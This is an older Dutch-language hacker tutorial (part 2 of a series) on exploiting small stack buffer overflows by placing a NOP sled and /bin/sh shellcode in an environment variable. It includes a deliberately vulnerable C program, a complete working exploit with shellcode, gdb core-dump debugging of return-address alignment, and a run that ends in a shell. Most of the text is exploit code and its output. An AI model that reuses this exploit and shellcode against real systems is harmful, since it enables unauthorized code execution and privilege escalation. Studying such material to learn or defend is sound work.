Exploitatie van stack based buffer overflows Part 2 - The Itch / BsE ------------------------------------------- Zoals beloofd zal ik in dit 2e deel gaan uitleggen hoe we stack based buffer overflows gaan exploiten van kleine buffers (dit werkt helaas alleen bij local exploits!). En ga ik uitleggen wat alignment is en hoe het werkt. Verder zal je zien dat de exploit code die in dit artikel wordt gebruikt veel en veel meer efficienter is dan degene die in het vorige artikel was gebruikt. Kijk allereerst eens naar het volgende programma, dat heeft een buffer van 10 bytes. Daar past dus nooit shellcode in, aangezien je op http://bse.die.ms/~itchie/stuff/shellcode.h al kan zien dat de kleinste shellcode die je kan maken maar ongeveer 25 bytes is. --------vuln2.c----------- /* vuln2.c * Coded by The Itch / BsE * * root@bse.die.ms * http://bse.die.ms * irc.axenet.org */ #include #include #include int main(int argc, char *argv[]) { char buffer[10]; char *buf2; if(getenv("TEST") == 0) { printf("error, no enviromental string found!\n"); printf("Aborting program...\n\n"); exit(0); } if(argc < 2) { printf("usage: %s \n\n", argv[0]); exit(0); } buf2 = getenv("TEST"); strcpy(buffer, buf2); printf("Using enviromental string: %s\n", buf2); return 0; } /* dit is dezelfde vuln2 als degene die je voor jezelf moest exploiten in * deel 1 van mijn artikel. */ --------vuln2.c-------------- We hebben dus een probleem, hoe gaan we shellcode van 25 bytes in 10 bytes proppen ? Dat is waar de enviroment in het verhaal voorkomt. Zoals je al kon zien in deel 1 van mijn artikel, plaatsten we onze NOP's, onze shellcode en ons return address in de enviroment variabele $EGG. Type maar is export, en dan kan je al je enviroment variabelen op dit moment zien. type nu is $HOME en dan zie je de waarde / setting die de enviroment variabele HOME op dit moment heeft. Met export HOME=/home/itchie kan je bijvoorbeeld instellen dat je een andere HOME directory als standaard wilt gebruiken. De enviroment variabelen worden in de top van de stack geplaatst zodra je programma gestart wordt. (Hoe handig, lekker dichtbij ESP dus). Hier volgt de exploit code die we gebruiken bij vuln2.c Exploit code weer deels overgenomen van Aleph1, commentaar is wederom weer van mezelf. -------------------------expl2.c----------------------- /* expl2.c voor vuln2.c volgens mijn artikelen over stack based buffer * overflows. * * Coded by The Itch / BsE * * root@bse.die.ms * http://bse.die.ms * irc.axenet.org */ #include #include /* De grootte van onze totale shellcode + NOP's buffer */ #define DEFAULT_EGG_SIZE 2048 /* het is aan te raden om altijd 100 bytes meer te gebruiken dan de * buffer die je probeert te overflowen. */ #define DEFAULT_BUFFER_SIZE 110 /* Zie deel 1 */ #define NOP 0x90 /* De shellcode, zie deel 1 */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(void) { /* Variabelen declaratie, als je dit niet snapt, ga * dan postzegels ofzo verzamelen ;-) */ char *buff; char *egg; char *ptr; long *addr_ptr; long addr; int bsize = DEFAULT_BUFFER_SIZE; int eggsize = DEFAULT_EGG_SIZE; int i; int align = 0; /* een manier om de ESP te krijgen zonder assembly instructions * te gebruiken. */ int get_esp = (int)&get_esp /* exploit usage: ./expl2 buffersize alignment */ if(argc > 1) { bsize = atoi(argv[1]); } if(argc > 2) { align = atoi(argv[2]); } /* Geheugen reserveren voor buff en egg */ if(!(buff = malloc(bsize))) { printf("Unable to allocate memory for %d bytes\n", bsize); exit(0); } if(!(egg = malloc(eggsize))) { printf("Unable to allocate memory for %d bytes\n", eggsize); exit(0); } printf("exploit voor vuln2\n"); printf("Coded by The Itch / BsE\n\n"); printf("stack pointer(ESP): 0x%x\n", get_esp); printf("Using buffersize: %d\n", bsize); printf("Alignment: %d\n", align); /* alignment, zie uitleg onderaan */ ptr = buff + align; addr_ptr = (long *) ptr; /* vul de buffer die overflowed moet worden met * het return address van onze shellcode */ for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_esp; } ptr = egg; /* plaats egg vol met NOP's min de lengte van onze shellcode. * En reserveer 1 byte voor het null endian teken. */ for(i = 0; i < eggsize - strlen(shellcode) -1; i++) { *(ptr++) = NOP; } /* En zet achter de NOP's onze shellcode */ for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } /* Afsluitende null string om het einde van de variabele * aan te duiden. */ buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; /* Plaats onze shellcode met de NOP's in het enviroment */ memcpy(egg, "EGG=", 4); putenv(egg); /* Plaats ook de enviroment variabele met het return address * van onze shellcode in het enviroment (het enviroment wordt * TEST genoemd omdat daar het vuln programma zijn data uithaalt, * en deze wordt ook overflowed. */ memcpy(buff, "TEST=", 5); putenv(buff); /* En voer ons vulnerable programma uit. */ system("./vuln2 bla"); return 0; } -------------------expl2.c----------------- Compile nu vuln2.c en expl2.c, zet core dumping aan (ulimit -c unlimited) en run de exploit. [itchie@daveli whiz]$ ./expl2 Exploit voor vuln2.c Coded by The Itch / BsE stack pointer: 0xbffff9a4 Using buffersize: 110 Alignment: 0 [itchie@daveli whiz]$ Het werkte helaas niet, maar waarom? Als het goed is is er nu een core file aangemaakt omdat vuln2 segfaulte (maar dat gebeurde in de background dus kreeg je geen error message). Laten we die core file is gaan bekijken. [itchie@daveli whiz]$ gdb vuln2 core GNU gdb 19991116 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux"... Core was generated by `./vuln2 blabla'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0xf4bffff9 in ?? () (gdb) info registers eip eip 0xf4bffff9 0xf4bffff9 (gdb) quit Ons return address is 0xbffff9a4, maar hij laat hier zien 0xf4bffff9. Dat klopt niet echt, maar wat is er nou precies gebeurd ? Het geheugen werkt per 4 bytes zoals al is uitgelegd in mijn vorige artikel. stel dat dit het geheugen is, en 0x11223344 ons return address is: [###################][44112233] [441122334411223344112233] Normaal gebruiken we een enviroment string genaamd RET= met memcpy omdat woord precies voor ons return address te krijgen. RET= is precies 4 bytes lang, dus de alignment klopt precies, maar in ons geval moeten we TEST= gebruiken omdat ons vulnerable programma niet zijn overflowbare string via argv krijgt (parameters die je meegeeft), maar van een al gedefinieerde enviroment variable. TEST= is zoals je kan tellen 5 bytes lang, om hem die ene byte die teveel is op te vangen moeten we hem 1 byte laten alignen. [###################][44112233] [4411223344112233441122334411] Zoals je ziet is ons return address dan omgedraaid. Laten we nu ons gdb info erbij halen. Ons return address was: 0xbffff9d8 Het return address dat werd weggeschreven in de stack: (gdb) info registers eip eip 0xf4bffff9 0xf4bffff9 Hmm, 0xbffff9d4 en 0xf4bffff9 zoals je ziet is ons return address niet aligned en verschilt het 1 (misschien 2) bytes. Dat lossen we op door die byte te compenseren. Hoe we dat doen? We maken een integer genaamd align aan, en zetten vlak voordat we de exploit strings gaan bouwen de regel: ptr = buff + align; Aligns liggen meestal tussen de 0 en 3 bytes ervanaf (geheugen werkt per 4 bytes). Run de exploit zo: ./expl2 110 0 [itchie@daveli whiz]$ ./expl2 110 0 Exploit voor vuln2.c Coded by The Itch / BsE stack pointer: 0xbffff9a4 Using buffersize: 110 Alignment: 0 [itchie@daveli whiz]$ Werkt nog niet, alignment klopt nog niet, rerun hem eens met: ./expl2 110 1 [itchie@daveli whiz]$ ./expl2 110 1 Exploit voor vuln2.c Coded by The Itch / BsE stack pointer: 0xbffff9a4 Using buffersize: 110 Alignment: 1 sh-2.03$ en Baboem, een shell! Het bleek dus dat ons return address met 1 byte niet aligned was, en dat is op deze manier gefixed. [Opbouw van de exploit] In mijn eerste artikel stopte ik mijn shellcode, nops en return address op deze manier in elkaar: N = nop S = shellcode R = return address EGG = [NNNNNNNNNNNNNSSSSSSSSSSSSRRRRRRR] dit is een vrij inefficiente methode, omdat hier in 99% van de gevallen bij gebruteforced moet worden. Bij de exploit die hierboven beschreven staat doe ik het op deze manier: EGG = [NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSS] RET = [RRRRRRRRRRRRRRRRRRRRRRRR] Omdat ik egg pass op het einde in mijn enviroment zet, zit ie nog in de top van de stack, omdat het enviroment aan de top van de stack zit. En aangezien ik de enviroment zo groot kan maken als ik wil (ik gebruik standaard 2048 bytes voor mijn shellcode en nop's). Heb ik kans dat in 99% van de gevallen de exploit gelijk al de eerste keer werkt zonder te bruteforcen. Have phun, ik heb je nu alles geleerd wat ik weet van Stack Based buffer overflows. greetings, - The Itch / BsE - root@bse.die.ms - http://bse.die.ms - irc.axenet.org /* greetings: Xistence, Wildcoyote, Lucipher, Script0r, Calimonk, ntr0n1c, C-murdah, zer0, Pyra, Zephyr, kn00p, ThePike, Reflex, Tozz, mikl0, BaDaSSS, X-wartech, Goolie, Cerial, Digger3, Silenoz, Twins, Zappa, Heather, Di]v[pLeS, mysticgirl, Capp3d, Sense, Tweak, Steele, zenomorph, codemastr, Retard, Redeemer, German_gu, chixor, Yoda, llthangel, Ron885, Dogbert, Genetics, J_Jay, cooder, Cecrops, Crane|dog, Lord_choo3s, Rat, Zappa, Darkhunter, Rage, Shadowlady. flames and hate goes out to: Dystopia, Crackie, Tratulla and every other DoS idiot */